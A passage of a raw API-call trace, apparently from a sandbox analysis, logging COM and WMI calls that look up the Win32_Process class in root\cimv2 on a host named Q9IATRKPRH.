Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02930) returned 0x0 [0129.553] WbemLocator:IRpcOptions:Query (in: This=0x1aa02930, pPrx=0x1bb8b8e0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0129.553] WbemLocator:IUnknown:Release (This=0x1aa02930) returned 0x2 [0129.553] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0129.553] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0129.553] WbemLocator:IUnknown:QueryInterface (in: This=0x1bb81440, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bb81440) returned 0x0 [0129.553] WbemLocator:IUnknown:Release (This=0x1bb81440) returned 0x2 [0129.553] SysStringLen (param_1=0x0) returned 0x0 [0129.553] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b0d0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0129.554] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0129.554] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0b0d0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0129.554] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0129.554] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0129.554] IWbemServices:GetObject (in: This=0x1bb81440, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb91870, ppCallResult=0x0) returned 0x0 [0129.557] IWbemClassObject:Get (in: This=0x1bb91870, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0129.557] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0129.558] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0129.558] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0129.558] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0129.558] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0129.558] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.560] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bb8b880) returned 0x0 [0129.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb8b880, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0129.561] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb8b880, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1aa0b190) returned 0x0 [0129.561] WbemDefPath:IUnknown:Release (This=0x1bb8b880) returned 0x0 [0129.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1aa0b190) returned 0x0 [0129.561] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0129.561] WbemDefPath:IUnknown:AddRef (This=0x1aa0b190) returned 0x3 [0129.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0129.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0129.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bb8b8a0) returned 0x0 [0129.562] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb8b8a0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.562] WbemDefPath:IUnknown:Release (This=0x1bb8b8a0) returned 0x3 [0129.562] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0129.562] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0129.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0129.562] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x2 [0129.562] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x1 [0129.562] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0129.562] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0129.562] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b190, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1aa0b190) returned 0x0 [0129.563] WbemDefPath:IUnknown:AddRef (This=0x1aa0b190) returned 0x3 [0129.563] WbemDefPath:IUnknown:Release (This=0x1aa0b190) returned 0x2 [0129.563] WbemDefPath:IWbemPath:SetText (This=0x1aa0b190, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0129.563] IWbemClassObject:Get (in: This=0x1bb91870, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0129.563] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0129.563] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0129.563] IWbemClassObject:Get (in: This=0x1bb91870, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0129.563] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0129.564] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0129.564] IWbemClassObject:Get (in: This=0x1bb91870, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0129.564] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0129.564] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0129.564] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.564] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.565] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.565] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.567] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb9d6b0) returned 0x0 [0129.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d6b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.568] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d6b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b250) returned 0x0 [0129.568] WbemDefPath:IUnknown:Release (This=0x1bb9d6b0) returned 0x0 [0129.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b250) returned 0x0 [0129.568] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.569] WbemDefPath:IUnknown:AddRef (This=0x1aa0b250) returned 0x3 [0129.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb9d6f0) returned 0x0 [0129.569] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d6f0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.569] WbemDefPath:IUnknown:Release (This=0x1bb9d6f0) returned 0x3 [0129.569] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.569] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.569] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.569] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x2 [0129.569] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x1 [0129.570] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.570] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.570] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b250, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b250) returned 0x0 [0129.570] WbemDefPath:IUnknown:AddRef (This=0x1aa0b250) returned 0x3 [0129.570] WbemDefPath:IUnknown:Release (This=0x1aa0b250) returned 0x2 [0129.570] WbemDefPath:IWbemPath:SetText (This=0x1aa0b250, uMode=0x4, pszPath="") returned 0x0 [0129.570] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.570] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.570] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.570] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.573] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb9d6b0) returned 0x0 [0129.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d6b0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.573] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d6b0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0b310) returned 0x0 [0129.573] WbemDefPath:IUnknown:Release (This=0x1bb9d6b0) returned 0x0 [0129.573] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0b310) returned 0x0 [0129.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0129.574] WbemDefPath:IUnknown:AddRef (This=0x1aa0b310) returned 0x3 [0129.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0129.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0129.574] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bb9d730) returned 0x0 [0129.574] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bb9d730, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0129.574] WbemDefPath:IUnknown:Release (This=0x1bb9d730) returned 0x3 [0129.574] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0129.575] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0129.575] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0129.575] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x2 [0129.575] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x1 [0129.575] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0129.575] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0129.575] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0b310, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0b310) returned 0x0 [0129.575] WbemDefPath:IUnknown:AddRef (This=0x1aa0b310) returned 0x3 [0129.575] WbemDefPath:IUnknown:Release (This=0x1aa0b310) returned 0x2 [0129.575] WbemDefPath:IWbemPath:SetText (This=0x1aa0b310, uMode=0x4, pszPath="") returned 0x0 [0129.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b310, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.575] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0b250, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0129.576] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0b310, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0129.576] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0b310, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0129.576] WbemDefPath:IWbemPath:SetServer (This=0x1aa0b310, Name="Q9IATRKPRH") returned 0x0 [0129.576] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0129.576] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0129.576] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0129.576] IUnknown:Release (This=0x1a943398) returned 0x1 [0129.578] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bb9d750) returned 0x0 [0129.578] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bb9d750, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0129.578] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bb9d750, pUnkOuter=0x0, 